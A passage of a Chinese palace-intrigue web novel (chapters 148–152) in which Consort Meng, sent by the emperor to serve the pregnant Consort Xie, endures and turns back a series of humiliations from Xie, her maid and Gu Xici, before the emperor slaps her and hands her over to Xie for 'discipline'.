阿孟端着热水回到内殿时,红豆已带着几名宫女退下了。殿内只余谢妤斜倚在床榻上,右腿随意搭在软垫上,似是等候已久。
“孟贵妃,你可真慢。”谢妤冷声道,眼中闪过一丝不耐。
阿孟不紧不慢地将木盆放下,躬身道:“回贵妃娘娘,水温需恰到好处,才不会伤及您的肌肤。”
谢妤听闻此言,眼底泛起一丝讥诮。她缓缓伸出右腿,脚尖几乎点到阿孟脸上:“来,给本宫好好洗洗。”
阿孟眼中闪过一丝厌恶,却转瞬即逝。
她跪坐下来,动作娴熟地为谢妤褪去绣花锦履,将她白皙的玉足放入温水中。
“孟贵妃,手法可要轻些。”谢妤故意提高声调,好让旁边的几个宫女听见,“本宫这双脚,可娇贵着呢。”
几个宫女掩嘴偷笑,阿孟只是点头,将谢妤的足尖轻轻捧起,认真清洗。
“孟贵妃,既是皇上让你来照顾本宫,想必你很擅长伺候人吧?”谢妤故意问道,眼中满是打量。
阿孟头也不抬,平静回道:“伺候贵人是臣妾分内之事。”
“哦?”谢妤声调陡然拔高,语带嘲讽,“孟贵妃竟这么识趣?我还以为你要反抗一番呢。”
阿孟擦拭着谢妤的脚趾,声音平静如水:“反抗?谢贵妃误会了。既是皇上旨意,臣妾怎敢违抗?”
谢妤眼中闪过一丝不满,又道:“听说你在边关颇受顾将军器重,莫不是顾将军身边也伺候得很好?”
阿孟手上动作微微一顿,心中恼怒,却面不改色:“谢贵妃言重了,臣妾与顾将军相处,向来规矩。”
谢妤见激不起阿孟怒意,索性变换话题:“也罢。本宫今晚头疼得厉害,劳烦孟贵妃好好为我揉揉太阳穴。”
“是。”阿孟起身,拭干双手,来到谢妤身侧。
谢妤扫视周围,见几个宫女眼中流露出同情,心中更是得意。
她故意扬声道:“你们看着些,孟贵妃虽贵为贵妃,但手法却极好,值得学习。”
几个宫女面面相觑,不敢作声。
阿孟的指尖轻轻按在谢妤的太阳穴上,力道恰到好处。
谢妤本想找她错处,却不想这按摩手法确实舒适,不由闭上眼,享受片刻。
第148章 求情无果
待谢妤睁眼,发现宫女们还在一旁站着,便故意道:“不必看了,还不快去准备些点心来?本宫饿了。”
宫女们领命退下。谢妤冷笑一声:“孟贵妃,既然来了,就好好表现吧。这龙胎金贵,你别想糊弄过去。”
阿孟手上力道不变,心中却盘算起对策:谢妤想羞辱自己,自己便以退为进,倒要看看她能得意到几时。
“孟贵妃,你这按摩手法倒是不错,看来在边关伺候顾将军练就了一身好本事。”谢妤的声音里满是揶揄,指尖轻轻敲打着锦榻扶手。
阿孟不急不慢地回道:“臣妾不敢当,只是些寻常手法罢了。若能让贵妃娘娘舒适,臣妾便心满意足。”
谢妤见激不起她的怒意,便撇了撇嘴:“时候不早了,本宫要休息了。”她故意指了指门边一块冰冷的青石地板,“你就睡在那里吧,守夜宫女都是如此。”
阿孟的眼中闪过一丝寒意,却很快敛去:“谢贵妃还真是信任臣妾,就没想过,如此折辱臣妾,臣妾会动手做些什么吗?。”
谢妤冷笑一声,语气森冷:“孟贵妃,我警告你,别想着动什么歪脑筋。这宫里眼线众多,你若不规矩,皇上第一个饶不了你。”
“臣妾不敢。”阿孟恭敬作揖,眼中却毫无畏惧。
谢妤斜睨着她:“你好自为之吧。皇上对我肚子里的龙胎看得很重,若有闪失,你知道后果。”
阿孟静静地听着,心中冷笑。
她铺好薄褥,躺在冰冷的地板上,双眼望向窗外的月色,思绪万千。
谢妤展示着自己的胜利姿态,满意地听着阿孟躺在地板上的声响,心中涌起一股快意:这就是与她作对的下场!
次日清晨,阿孟刚睁开眼,便见红豆带着几个宫女立在床前,怀中抱着各式杂物,强行把她架到了庭院里。
“孟贵妃,您可得起来了。”红豆假惺惺地笑道,随手将怀中脏衣裳扔在阿孟面前,“这些都要洗干净。”
一旁的宫女也纷纷甩下扫帚、抹布,甚至还有一只恭桶。
“这些都是娘娘吩咐的,让孟贵妃好好做。”红豆笑得阴毒,“贵妃就是贵妃,连做事都比我们有模有样。”
阿孟面无表情地瞧着地上的物品,不言不语。
红豆见她不说话,以为是吓住了,更加得意:“孟贵妃,这可都是伺候谢贵妃的活计,您不会不乐意吧?”
阿孟缓缓起身,整理衣襟,神色平静:“我自会分清轻重。”
红豆哼了一声,带着宫女们离开,留下阿孟一人在屋内。
阿孟望着那堆杂物,嘴角勾起一丝冷笑。
她不急着动手,而是仔细梳妆,整理好自己的衣着,随后施施然向谢妤的寝宫走去。
午时刚过,谢妤坐在案前,脸色阴沉。宫中事务无人处理,连日常饮食都是冷的。
“怎么回事?”谢妤拍案而起,“那些婢女都去哪了?本宫的早膳呢?”
宫女们面面相觑,不敢作声。
这时,阿孟端着一盆温水走进来,神色恭敬:“谢贵妃,臣妾来为您净面了。”
谢妤眉头一皱:“你怎么在这?那些衣服洗好了吗?”
阿孟神色如常:“臣妾受命贴身照顾贵妃和龙胎,这才是首要之事。至于其他杂务,臣妾不敢分心。”
谢妤冷笑:“你这是故意推脱?”
阿孟放下水盆,声音不紧不慢:“谢贵妃误会了。皇上命臣妾来,是为了照顾您和龙胎。那些婢女竟敢如此胆大,将脏活杂活都推给臣妾,若是臣妾这双手起了茧子,伺候贵妃时不小心磕着碰着,那可如何是好?”
她眼中闪过一丝锋芒:“臣妾不介意去问问皇上,看看他对龙胎的仔细程度是否容许臣妾去做那些杂役。”
谢妤脸色骤然苍白,攥紧了拳头。
她深知墨司渊对龙胎的重视,若阿孟真去告状,反倒显得她故意刁难。
“你……”谢妤咬牙切齿,“你倒是伶牙俐齿。”
阿孟微微一笑:“臣妾只是尽职尽责罢了。谢贵妃若无别的吩咐,臣妾这就去准备您的午膳。”
谢妤盯着阿孟的背影,眼中怒火翻涌。她不得不长叹一口气,对一旁的红豆道:“让那些懒婢给我滚进来!”
红豆惊慌失色:“娘娘,这……”
“还愣着做什么?”谢妤恼怒地扫了她一眼,“告诉她们,各司其职,别让孟贵妃抓到把柄!”
阿孟站在回廊转角,听着殿内谢妤的怒斥声,嘴角微微上扬。
第一回合,她已经赢了。
云珠在苔蘅殿中踱步不停,一夜未眠。窗外天色渐亮,却仍不见阿孟身影。
“娘娘怎么还不回来?”云珠咬着指尖,眉头紧锁,“那谢妤定是故意刁难。”
她推开窗,晨风微凉。思来想去,云珠终于下定决心:“只能去求皇上了。”
云珠整理衣裳,匆匆赶往御书房。一路上,她反复琢磨着说辞,心中忐忑不安。
御书房外,几名侍卫严阵以待。云珠深吸一口气,上前行礼:“奴婢云珠,有要事求见皇上。”
“皇上正在批阅奏章,不见任何人。”侍卫冷声道。
云珠跪地不起:“求大人通报一声,事关孟贵妃安危,十万火急!”
正僵持间,墨司渊的声音从内传出:“何人在外喧哗?”
“回皇上,是孟贵妃的贴身宫女云珠,说有要事求见。”
“让她进来。”
云珠忐忑入内,见墨司渊正伏案批阅奏章,神色冷峻。她连忙跪下:“奴婢参见皇上。”
墨司渊头也不抬:“何事?”
“皇上,奴婢是为娘娘来求情的。”云珠声音微颤,“娘娘在边关操劳过度,身子本就虚弱,如今又被派去谢贵妃宫中日夜伺候,奴婢担心娘娘的身子熬不住啊!”
墨司渊搁下朱笔,冷眼看她:“这是朕的旨意,你有意见?”
云珠额头抵地:“奴婢不敢。只是娘娘昨日去了谢贵妃宫中,一夜未归,奴婢担心娘娘被……被刁难。”
“刁难?”墨司渊眉头微挑,露出冷笑,“以她的性子,谢妤敢刁难她?”
第149章 折辱阿孟
“皇上有所不知,”云珠小心翼翼道,“谢贵妃向来与娘娘不睦,如今娘娘被派去伺候,谢贵妃定会……定会……”
“定会如何?”墨司渊声音骤冷。
云珠咬了咬唇:“定会借机羞辱娘娘。娘娘虽是贵妃身份,却被安排做些粗活杂活,这……这于理不合啊!”
墨司渊眼中闪过一丝异色,随即冷笑:“你家主子不是很能耐吗?既然朕让她去伺候谢妤,她就该尽心尽力。”
“可是皇上,娘娘身子……”
“够了!”墨司渊猛地拍案而起,“你家主子若真有本事,就该懂得如何自处。若是连这点小事都应付不来,那就证明她不配做贵妃!”
云珠被吓得浑身发抖,却仍不放弃:“皇上,娘娘从未抱怨过,只是奴婢担心娘娘的身体……”
墨司渊冷冷打量着云珠,忽然问道:“她让你来的?”
“不是!”云珠连忙摇头,“娘娘若知道奴婢来求皇上,定会责罚奴婢。是奴婢擅自做主……”
墨司渊沉默片刻,挥了挥手:“回去吧,朕自有安排。”
云珠额头重重叩在地砖上,发出一声闷响:“皇上,求您垂怜!娘娘在边关受尽磨难,身子骨早已不比从前。若日日伺候谢贵妃,只怕……”
“够了!”墨司渊眼神骤冷,手指在案几上轻叩,“你区区一介宫女,竟敢揣测圣意?”
“奴婢不敢!”云珠吓得浑身发颤,却仍不肯起身,“奴婢只是担忧娘娘安危,才斗胆前来。娘娘若知道奴婢来求皇上,定会责罚奴婢的。”
墨司渊冷笑一声:“你家主子不是向来刚烈吗?朕倒要看看她能忍到几时。”
云珠磕头如捣蒜:“皇上,娘娘真的身子不好,还请皇上……”
“周海,”墨司渊不耐地抬手,“把人赶出去。”
“是。”周海上前,作势要拖云珠。
云珠挣扎着不肯离去:“皇上!皇上开恩啊!娘娘她……”
“拖出去!”墨司渊怒喝一声,周海只得强行拉起云珠,将她拖出殿外。
殿内重归静谧,墨司渊手中朱笔却迟迟未落在奏折上。
殿外隐约传来云珠的啜泣声,他烦躁地揉了揉眉心。
“周海。”
“臣在。”周海行礼。
“谢妤宫中可有孟贵妃的消息传来?”墨司渊语气平淡,眼中却闪过一丝复杂的情绪。
周海低头回道:“回皇上,尚未有任何消息。”
墨司渊手指猛然收紧,朱笔笔尖在纸上洇出一片墨渍。
他冷笑一声,眼中怒火翻涌:“好得很!既是安分守己,就让她跪着好好伺候谢妤去吧!”
他猛地站起身,袖袍一挥,茶盏落地碎裂:“去告诉那宫女,若她家主子喜欢做奴才,便永远不必来求朕!”
“皇上……”周海欲言又止。
“去!”墨司渊咬牙切齿。
周海无奈,只得出殿寻找云珠。殿外,云珠仍跪在廊下,眼泪浸湿了衣襟。
见周海出来,她连忙抬头,眼中满是期待。
“云珠姑娘,”周海语气温和却坚决,“皇上有令,请你回去吧。若孟贵妃乐意伺候人,便不必再来求皇上了。”
云珠如遭雷击,面色苍白:“难道皇上就这么狠心吗?”
周海叹了口气:“天家之事,岂是你我能揣测的?回去吧,或许孟贵妃自有打算。”
云珠颓然起身,摇摇晃晃地向苔蘅殿方向走去。
天光微亮,云雾缭绕。
第二日清晨,谢妤寝殿内一片忙碌。
阿孟按时前来,一袭浅色衣裙,面容平静如水。
她双手捧着精致茶盏,缓步走向主座。
“臣妾给贵妃娘娘奉茶。”阿孟声音平稳,举止得体。
谢妤坐在软榻上,抚着微微隆起的腹部,嘴角勾起一抹冷笑。
顾奚慈倚在一旁,目光阴冷地打量着阿孟。
“哟,孟贵妃起得真早。”顾奚慈酸溜溜地道,“昨晚睡得可好?那石板床,躺着舒服吗?”
阿孟浅笑不语,只管泡茶。
谢妤微微颔首,悄悄向身旁宫女使了个眼色。那宫女会意,挪步上前,作势要接过阿孟手中的茶。
“娘娘喝茶有讲究,还是让奴婢来吧。”宫女假意殷勤。
阿孟眼角余光瞥见宫女手腕微动,指尖蓄势待发,心中顿时明了。
她表面不动声色,口中却道:“不必了,皇上特意命我伺候贵妃娘娘,这泡茶一事,我自会小心。”
宫女不依不饶,伸手就要去抢茶盏。
阿孟暗中观察,发现谢妤和顾奚慈眼中都闪过期待之色,顿时明白这是个圈套。
就在宫女即将触碰到茶盏的刹那,阿孟手肘轻巧一抬,作势不稳,似乎是要躲避宫女的手。
“哎呀!”
滚烫的茶水飞溅而出,正好泼在顾奚慈的绣花鞋面上。
“啊——!”顾奚慈尖叫一声,从座位上跳起,气得脸色铁青,“你这贱人!竟敢——”
谢妤冷冷扫了她一眼,顾奚慈顿时噤若寒蝉,咽下后半句话。
阿孟却先发制人,转身厉声呵斥那宫女:“你这是做什么?如此毛手毛脚,险些烫到贵妃娘娘!若有什么闪失,你担得起这罪责吗?”
那宫女没想到计谋失败,还被反将一军,顿时面如土色,慌忙跪下:“奴婢不是故意的,奴婢只是……只是想帮忙……”
阿孟冷冷道:“这是龙胎所在,容不得半点闪失。你这样毛毛躁躁,是要害娘娘和龙胎吗?”
宫女吓得瑟瑟发抖:“奴婢不敢……”
谢妤面色难看至极,她本想借机羞辱阿孟,却没想到被对方巧妙化解。
若是追究下去,反倒显得她不重视腹中胎儿。
“够了。”谢妤强压怒气,挥了挥手,“只是一点小事,无需大惊小怪。”
阿孟微微欠身:“谢贵妃恕罪。只是臣妾受皇上之命前来照顾贵妃和龙胎,不敢有半点疏忽。这些宫女如此莽撞,臣妾担心日后再生变故。”
顾奚慈忍无可忍,脱下被茶水浸湿的绣鞋,怒视阿孟:“你分明是故意的!别以为我不知道你那点心思!”
阿孟不慌不忙,面带忧色:“顾小姐此言差矣。我若真有恶意,又怎会躲避贵妃而烫到顾小姐呢?臣妾岂敢冒犯龙胎?”
“你!”顾奚慈气得浑身发抖。
谢妤眉头紧锁,沉声道:“好了,都退下吧。孟贵妃,你重新沏一壶茶来。”
第150章 刁难未果
谢妤眉头紧锁,沉声道:“好了,都退下吧。孟贵妃,你重新沏一壶茶来。”
阿孟微微颔首,转身欲走。
“且慢。”谢妤忽然出声,嘴角勾起一抹意味深长的笑,“本宫担心再有人不小心打翻茶碗,烫着孟贵妃。红豆,你随她一同去。”
红豆会意,福身应道:“是,娘娘。”
谢妤又看向顾奚慈,眼神示意。顾奚慈立刻会意,脸上浮现出一丝阴险笑意。
“谢贵妃真是体贴。”顾奚慈故作关切,“我也去看看,免得孟贵妃一个人忙不过来。”
阿孟面不改色,只是淡淡道:“多谢顾小姐关心,只是沏茶一事,不劳贵人费心。”
“哎呀,这怎么能说是费心呢?”顾奚慈眼中闪过一丝狠毒,“我可是真心实意想帮忙呢。”
三人一同向膳房走去,一路无言。
红豆走在前头,时不时回头瞥一眼阿孟,眼中满是轻蔑。
顾奚慈则紧跟在阿孟身后,像是盯着猎物的豺狼。
膳房内,炉火正旺。阿孟熟练地取出茶具,动作从容不迫。
“都下去吧,给孟贵妃宽敞些地方沏茶。”红豆挥手将厨房内的杂役全数驱散,嘴上说得好听,眼中却闪着算计。
须臾间,膳房内只剩下阿孟、顾奚慈和红豆三人。
空气中弥漫着剑拔弩张,暗流汹涌。
顾奚慈见人都散了,立即变了脸色,三两步上前,身子逼到灶台边。
“你别以为做了贵妃就了不起,现在还不是得乖乖伺候谢贵妃。”她冷笑一声,声音里满是刻薄。
阿孟垂眸不语,专注地挑选茶叶。
她的指尖轻轻拨弄着茶芽,姿态优雅从容,宛如闲庭信步,全然不顾顾奚慈的挑衅。
这份沉静反倒激怒了顾奚慈。她见阿孟不理会自己,越发恼怒,胸中妒火翻腾。
“装什么清高!”顾奚慈提高音量,语气愈发尖刻,“你都已经是宫中贵妃了,还和我表哥纠缠不清,你明知道我喜欢表哥,却偏要横刀夺爱!”
红豆在一旁冷眼旁观,唇角挂着一丝轻蔑的笑。
她靠在门框上,双臂交叉,似乎在等待好戏上演。
阿孟依旧不为所动,熟练地将清水注入壶中,燃起炭火。
顾奚慈的挑衅不过是小儿女的任性吵闹,不值一提,可自己身负重任,自然不能跟她计较。
顾奚慈见阿孟不受挑衅,死死盯着阿孟那副高贵淡然的姿态,手指不自觉地紧握成拳。
“你这贱人,居然敢无视我!”顾奚慈忽然尖声叫道,猛地从灶台旁抄起一根正燃着火星的木棍,朝着阿孟后背狠狠挥去,“让你装清高!”
阿孟早已察觉她的动作,身子灵巧一侧,轻松避开这一击。
手中茶盏却故意松了松,茶水溅出,正好浇灭了木棍上的火星。
顾奚慈被这一躲让得更加恼火,刚才离阿孟眉发的距离不过寸许,却被她轻松闪开。
她甩开已经熄灭的木棍,指着阿孟的鼻子破口大骂:“你少在这里装模作样!不过是个从边关回来的破烂货,有什么好神气的!”
红豆本在一旁看好戏,见状故意上前拉住顾奚慈,添了把火:“顾小姐息怒,万一真伤着她,我家娘娘的龙胎可就没人照料了。”
“这贱人活该!”顾奚慈甩开红豆的手,恶狠狠地瞪着阿孟,“你以为你做了贵妃就了不起了?我告诉你,在这宫里,你翻不起什么浪!”
阿孟不急不缓地擦干了溅到手上的茶水,眼神平静如水:“顾小姐既然对我如此不满,不如让皇上另派他人来照顾谢贵妃。这样你我都自在。”
“你!”顾奚慈被这一句堵得哑口无言,想要动手又有所顾忌。
阿孟忽然一笑,那笑容清冷如冬日阳光:“顾小姐与顾将军一点也不像,他光明磊落,从不做这种暗中伤人之事。”
“你敢提我表哥?”顾奚慈脸色骤变,怒目圆睁,“凭你也配!”
“茶已经泡好了,还请顾小姐让开。”阿孟端起重新准备好的茶盘,神色平静,“谢贵妃的龙胎等不得。”
“贱人!你别给我装清高!”顾奚慈面目扭曲,十指如钩直奔阿孟面门。
阿孟眼疾手快,一边护住手中茶盘,一边迅速伸手抄起炉边一盆微凉的洗茶水。
在顾奚慈扑到面前的瞬间,她毫不犹豫地将整盆水泼了出去。
“啊——!”顾奚慈尖叫一声,整个人如遭雷击般僵在原地。
水珠顺着她精心梳理的发髻滑落,妆容瞬间花成一团,华贵的衣裙被浸透,紧贴在身上。
更糟的是,不知何时她的裙边已被烧出一个黑洞,露出里面的白色衬裙,狼狈至极。
“你……你敢!”顾奚慈浑身颤抖,指着阿孟,却被呛得连连咳嗽。
红豆震惊地看着这一幕,一时间竟不知如何是好。
“顾小姐失态了。”阿孟正色道,语气却分毫不让,“臣妾受皇上之命照顾谢贵妃和龙胎,任何人胆敢阻挠,便是欺君之罪。”
顾奚慈擦着脸上的水珠,眼中怒火更盛:“你……你竟敢如此对我!我一定会让顾凛鹤知道你的真面目!”
阿孟冷笑一声:“顾小姐若是真心敬重顾将军,就不该用他来为自己撑腰。更何况,顾将军向来正直,最厌恶这种恃强凌弱之事。”
“你算什么东西?也配议论我他!”顾奚慈气急败坏,脸色由红转白。
阿孟不再多言,径直朝门口走去:“茶凉了,臣妾得重新沏过。顾小姐若有闲工夫,不如先去更衣。”
红豆这才回过神来,连忙上前搀扶顾奚慈:“顾小姐,您先冷静些。万一惊动了谢贵妃,对胎儿不好。”
顾奚慈狠狠甩开红豆的手:“你们一个个都把她当成瓷娃娃,我呢?我成什么了?”
“顾小姐,”阿孟站在门口,头也不回,“不管你我有何恩怨,谢贵妃肚中的龙胎至上。若因你我争执伤及龙胎,你我都担待不起。”
顾奚慈气得浑身发抖,却无言以对。
在沉默片刻之后,顾奚慈的尖叫声划破宁静。
第151章 反击
“救命!快救命!有人行刺!”她站在膳房门口,撕心裂肺地喊着,水珠顺着锦衣滴落,发髻早已散乱。
那凄厉的叫声瞬间引来了周围宫人的围观。
红豆望着顾奚慈这副狼狈模样,心头一紧,脸色瞬间灰白。
这原本设好的圈套,如今不但没有让孟贵妃吃亏,反倒连顾小姐也搭了进去。谢妤娘娘定会大发雷霆。
阿孟神色淡然如常,只是平静地站在一旁,端着那盏重新泡好的茶。
她的语气不温不火:“顾小姐若非执意动手,我又何必自保?”
“自保?”顾奚慈咬牙切齿,“你这是蓄意谋害!我的裙摆都被你烧坏了!”她猛地扯起裙角,展示那个焦黑的小洞。
红豆看不下去了,朝着围观的宫人厉声道:“都看什么看?还不快去禀告娘娘!”
几名宫人闻言,连忙往谢妤寝宫方向跑去。红豆暗自叹息,心中恼怒不已。
“红豆姑娘,”阿孟的声音平静地响起,“茶已经凉了,恐怕要重新沏过。还请你告诉谢贵妃,我马上就来。”
红豆一路小跑回到寝殿,气喘吁吁地跪倒在谢妤跟前,额上汗珠滚落。
“娘娘,情况不妙!”红豆声音颤抖,生怕谢妤震怒,“那孟贵妃竟……竟将顾小姐浇了个透心凉,还烧坏了她的裙摆!”
“怎么回事?”谢妤眉头蹙起,手指在锦榻扶手上轻叩,“顾奚慈做了什么?”
“奴婢引她们去膳房,本想让顾小姐好好教训那贱人,谁知她竟不知轻重,拿着火棍就要打……被孟贵妃躲过去了,还泼了她一身水!”红豆垂首,不敢看主子阴沉的面色,“顾小姐如今在外头大喊救命,说是有人行刺……”
谢妤一掌拍在桌几上:“蠢货!这点小事都办不好!”
“娘娘息怒!”红豆跪伏在地,“是那孟贵妃太狡猾,奴婢实在……”
谢妤冷笑一声,眸中寒光闪烁:“成事不足,败事有余!顾奚慈也是个废物,竟连个小小的贵妃都对付不了。”
她起身踱步,明黄色的裙摆在地上拖出一道优美弧线。这么闹下去,指不定要惊动皇上。若他知道自己派人刁难孟贵妃,后果不堪设想。
“娘娘,现在该怎么办?”红豆小心翼翼问道。
谢妤忽然停下脚步,嘴角勾起一抹意味深长的笑:“既然她想要立规矩,那我便给她个规矩看看。”
她缓缓坐回锦榻上,抚摸着隆起的腹部:“去,把顾奚慈给我弄回来,别让她再丢人现眼。”
谢妤缓缓坐回锦榻上,抚摸着隆起的腹部,嘴角挂着一抹冷笑。
红豆匆匆领命而去,不多时便带着一脸委屈、浑身湿透的顾奚慈回到殿内。
阿孟紧随其后,手中端着重新泡好的茶,神色淡然。
谢妤看到顾奚慈这般狼狈模样,再看看阿孟那从容不迫的姿态,心中怒火更甚,却仍强装镇定。
她拧着眉头,面色阴沉地看向顾奚慈。
“你看看你,这像什么样子?”谢妤佯作恼怒,声音冷若冰霜,“怎么能在孟贵妃沏茶的时候捣乱!”
顾奚慈一愣,不敢置信地抬头望向谢妤,眼中满是错愕与委屈。
她本以为谢妤会斥责阿孟,没想到矛头却指向了自己。
“我……我没有捣乱,”顾奚慈嗫嚅着辩解,颤抖的手指向阿孟,“分明是她先对我无礼!”
“够了!”谢妤厉声打断,眼神示意她不要再说,“本宫肚子里怀着龙胎,最忌讳的就是吵闹!你这般失态,是想害本宫吗?”
顾奚慈不敢再言,只得低头站在一旁,眼中噙着愤恨的泪水。
她紧咬下唇,指甲深深陷入掌心,恨不得将阿孟千刀万剐。
谢妤转向阿孟,脸上换上一副假意欣赏的表情,声音也柔和了几分:“孟贵妃倒是冷静,遇到这样的事还能沉得住气。”
阿孟微微屈膝,恭敬道:“谢娘娘夸赞。臣妾惶恐,只是臣妾受皇上之命前来照顾娘娘和龙胎,岂敢掉以轻心?”
她语气平静,却字字有力,暗含警告。
谢妤眼中厉色一闪而过,却还是端起阿孟奉上的茶盏,轻抿一口。
“茶温适中,味道也佳,不愧是边关归来的人,就是比寻常人更懂得克制。”谢妤意有所指,随即又道,“不像有些人,一点小事就大惊小怪。”
顾奚慈听出这是在讽刺自己,面色更加难看,却不敢出声反驳。
阿孟平静回道:“臣妾在边关时日久,早已习惯了忍耐。倒是顾小姐,从小被宠爱长大,性子难免急切些。”
阿孟这番话虽表面温和,却字字如刀,令顾奚慈神色难堪。
顾奚慈眼中噙泪,忽然扑通一声跪倒在谢妤脚边,身上湿透的衣裙贴在地上,发出一声轻响。
“贵妃娘娘,求您替我做主!”顾奚慈声音里带着哭腔,纤细的手指紧紧攥住谢妤裙角,“我不过是想帮忙沏茶,孟贵妃却毫无缘由地将水泼我满身,还烧坏了我的衣裙!”
她泪珠滚落,楚楚可怜:“我是您的表妹,来宫里只是想陪您解闷,却受此大辱,实在……实在无法忍受!”
谢妤眼中闪过一丝狡黠,轻轻拍了拍顾奚慈的手背,神色却是满满的心疼。
“你先起来,别伤了身子。”谢妤叹了口气,随即冷眼看向阿孟,“孟贵妃,这是怎么回事?”
阿孟神色平静:“顾小姐执意插手沏茶之事,手持火棍冲向臣妾,臣妾只能自保。”
“简直胡说!”顾奚慈声音尖利,委屈得浑身发抖,“我哪有持火棍?分明是你故意陷害我!”
谢妤思忖片刻,忽然撑着扶手缓缓起身,面露痛色:“这事闹得太过了,我这身子受不得惊吓。既然孟贵妃是皇上派来的,这事还是让皇上判断吧。红豆,备轿,本宫要去见皇上。”
“娘娘!您的身子要紧啊!”红豆连忙上前扶住谢妤。
谢妤轻轻摇头,抚着隆起的腹部,眼中噙着泪光:“这样的争端,本宫也无力调解。既是皇上的安排,自该由皇上定夺。”
第152章 教她规矩
阿孟垂首不语,只是眼中精光一闪。
谢妤乘着轿辇来到尚书房,刚进门便佯装不支,泪流满面。
“皇上!臣妾实在是没办法了!”谢妤一见墨司渊便泣不成声,“孟贵妃竟然在臣妾宫中放肆,差点伤了顾家小姐,惊的臣妾胎气险些动了!”
墨司渊闻言,眉头紧锁,连忙起身扶她坐下:“别哭,伤了胎气如何是好?究竟发生了什么事?”
谢妤抽泣着,将事情添油加醋地说了一遍:“皇上,臣妾不敢怠慢您派来的人,但孟贵妃太令人失望了。她不但不照顾臣妾,反而借机报复臣妾身边的人,这…这可如何是好?”
墨司渊的目光渐渐冷了下来,却还是温声安抚:“别担心,朕亲自去看看。你先歇息,别动了胎气。”
谢妤掩面而泣,内心却是一阵得意。
不多时,墨司渊便来到了谢妤寝殿。红豆正守在门口,见皇上到来,连忙行礼引路。
殿内,阿孟静立一隅,神色如常。顾奚慈仍跪在地上,一身湿透的衣裙已经让她冻得瑟瑟发抖,却仍死死咬着唇,一副受尽委屈的模样。
“皇上!”顾奚慈见到墨司渊,如见救星,噗通一声磕了个头,“求皇上为臣女做主!臣女不过是想帮忙沏茶,却被孟贵妃蓄意泼水,烧坏衣裙,这…这分明是故意报复啊!”
墨司渊神色莫测,在主座上坐下,目光在两人之间游移。
谢妤捂着腹部,楚楚可怜地上前告状:“皇上,孟贵妃身份特殊,同为贵妃,臣妾不敢贸然斥责。只是这宫中规矩不可坏,还请皇上做主。”
她这话看似退让,实则将责任全部推给墨司渊,逼他表态。
墨司渊目光幽深,斜睨着殿内三人,唇角勾起一丝若有若无的冷笑。
殿内气氛凝滞,连呼吸都显得小心翼翼。
顾奚慈见状,心头一紧,连忙磕头如捣蒜:“皇上!孟贵妃明明是故意为之,就是要羞辱臣女!求皇上明察秋毫,为臣女做主啊!”
她声泪俱下,湿透的衣裙紧贴在身上,愈发显得楚楚可怜。
然而墨司渊的目光却始终落在阿孟身上,眼中闪过一丝复杂情绪。
谢妤敏锐地察觉到墨司渊的异样,心中暗暗不悦。她轻抚腹部,柔声道:“皇上,臣妾不敢妄自揣测,若是人人都如此放肆,日后该如何是好?还请皇上定夺。”
墨司渊收回目光,面色渐冷:“孟贵妃,你如何看待此事?”
阿孟抬眸,目光清冷如霜,不卑不亢:“欲加之罪,何患无辞。”
简简单单七个字,却字字如刀,直指事件本质。她站得笔直,眼中毫无惧色。
“放肆!”墨司渊看着她这副倔强姿态,心中愤恨无比,猛地拍案而起,眼中怒火翻涌,“朕让你来伺候谢妤,是看在你曾为朝廷立功的份上,给你一个将功赎罪的机会。你不思感恩,反倒在此放肆!”
阿孟冷笑一声:“皇上若认定臣妾有罪,又何必问我看法?”
“你!”墨司渊大步上前,抬手便是一记响亮的耳光。
啪!
清脆的声响在殿内回荡。阿孟的脸颊瞬间红肿起来,却依旧挺直脊背,目光坚定如初。
墨司渊打完那一掌,心头却猛地一痛。
他看着阿孟白皙脸颊上那鲜红的掌印,眼中闪过一丝心疼,却又迅速被怒火掩盖。
“你以为朕不敢治你的罪吗?”墨司渊咬牙切齿,声音却比方才低沉几分,“敬酒不吃吃罚酒!既然你不知好歹,那就跪在谢妤宫外思过三日!不得进食,不得休息!”
阿孟眼中闪过一丝讥讽:“皇上圣明。”
谢妤见状,心中暗喜,面上却装出一副为难之色:“皇上,这样是否太过严厉?毕竟孟贵妃身份尊贵,若是传出去…”
“住口!”墨司渊厉声打断,“朕自有主张,不必你来置喙!”
谢妤心头一惊,连忙垂首:“臣妾知错。”
顾奚慈见墨司渊发怒,也不敢再多言,只是偷偷瞥了阿孟一眼,眼中满是得意。
谢妤与顾奚慈交换了一个眼神,两人眸中皆闪过一丝欣喜。
谢妤故意上前一步,端出一副体贴模样,轻声劝慰道:“皇上息怒,气大伤身啊。”
她柔柔地叹了口气,目光微转向阿孟,语气中带着几分怜悯:“孟贵妃从边关回来,只怕是因在外日久,心性变得桀骜了。臣妾以为,不过是需要些时日规训罢了。”
墨司渊面色阴沉,手指在椅把上敲打,目光如刀一般剜向阿孟。
“皇上,”谢妤见状,恨不得火上浇油,低声抽泣道,“孟贵妃或许是在边关跟着顾将军惯了,以为在宫中也能如此任性。顾将军平日对她宠爱有加,她怕是忘了宫中规矩了。”
“宠爱?”墨司渊眸中寒光一闪,声音冷得能冻结空气,心中妒火翻涌,“顾将军好大的胆子,竟敢在朕不在时对朝廷后妃如此?”
阿孟眼眸一沉,毫不畏惧地迎上墨司渊的目光:“皇上此言差矣。顾将军乃是朝廷栋梁,忠心护国,岂会做出不敬之事?谢贵妃不过是胡言乱语罢了。”
“你敢反驳朕?”墨司渊怒极反笑,“好一个伶牙俐齿的孟贵妃!看来边关确实把你养得无法无天了!”
谢妤见墨司渊怒火中烧,赶忙柔声道:“皇上,既然如此,不如将规训孟贵妃一事交由臣妾来办。臣妾定会教她明白宫中规矩。”
“臣女也可以协助姐姐。”顾奚慈抹着眼泪,满脸委屈地说道。
墨司渊冷哼一声,眼中闪过一丝阴鸷:“好,那就交给你了。至于顾奚慈所受的屈辱,你也自行处理。朕只有一个要求——”
他起身走到阿孟面前,居高临下地看着她:“在规训结束前,孟贵妃不得离开你宫中一步!”
谢妤欣喜地福了福身:“臣妾定不负皇上期望。”
阿孟看着眼前这一幕闹剧,心中冷笑。
他们越是想囚禁她,便越是显得心虚。
“谢贵妃娘娘,”顾奚慈淡淡开口,“既然皇上将规训之事交由您负责,想必您会秉公处理。毕竟,这宫里的每一双眼睛,都看着呢。”
谢妤随即堆起笑容:“孟贵妃放心,本宫向来公允。”
阿孟深知墨司渊为人,也不再跟他多做辩解。
“臣妾谢皇上恩典。”阿孟缓缓跪下,额头贴地,语气却透着冷意,“皇上仁厚,臣妾定当谨记教诲。”
墨司渊眯起双眼,阿孟这般态度,反倒像是故意激怒他。
